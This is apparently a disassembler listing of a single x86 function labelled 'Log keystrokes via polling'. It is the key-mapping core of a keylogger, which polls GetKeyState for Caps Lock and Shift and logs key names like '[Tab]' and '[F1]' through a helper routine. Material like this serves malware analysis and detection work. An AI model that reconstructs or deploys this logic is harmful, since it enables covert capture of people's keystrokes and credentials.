Function at 0x4016d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov esi, ecx
push 0x14
call edi
test al, 1
je 0x4016fb
lea eax, [esi - 0x41]
cmp eax, 0x19
ja case.default.0x401a0c
jmp dword [eax*4 + 0x401e94]
push 0x10
call edi
test ax, ax
jns 0x4019f4
lea eax, [esi - 0x30]
cmp eax, 0x8e
ja case.default.0x401a0c
movzx eax, byte [eax + 0x401fa0]
jmp dword [eax*4 + 0x401efc]
mov ecx, str.ABDEFGHIJKLMNOPQRSTUVWXYZ_________abcdefghijklmnopqrstuvwxyz
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052e8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052c0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052ec
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052f0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052f4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052f8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052fc
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405300
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405304
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405308
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40530c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405310
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405314
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405318
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40531c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405320
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405324
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405328
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40532c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405330
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405334
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405338
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40533c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405340
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405344
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405348
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40534c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405350
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405354
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405358
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40535c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405360
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405364
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405368
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40536c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405370
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405374
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4052bc
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405378
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x14
call edi
test al, 1
jne case.default.0x401a0c
lea eax, [esi - 0x41]
cmp eax, 0x19
ja case.default.0x401a0c
jmp dword [eax*4 + 0x402030]
mov ecx, 0x40537c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405380
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405384
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405388
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40538c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405390
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405394
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405398
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40539c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053a0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053a4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053a8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053ac
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053b0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053b4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053b8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053bc
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053c0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053c4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053c8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053cc
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053d0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053d4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053d8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053dc
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053e0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
add esi, 0xfffffff8
cmp esi, 0xb6
ja case.0x401bfd.10
movzx eax, byte [esi + 0x40212c]
jmp dword [eax*4 + 0x402098]
mov ecx, 0x4053e4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053e8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4053f8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._Esc__n
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._Tab__n
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._Ctrl__n
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._Del__n
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._End__n
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F1_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F2_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F3_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F4_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F5_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F6_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F7_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F8_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F9_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F10_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F11_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str._F12_
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str.0123456789_.__
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405488
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40548c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405490
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405494
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x405498
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x40549c
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054a0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054a4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054a8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054ac
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054b0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054b4
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054b8
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054bc
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x4054c0
call fcn.00401490
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret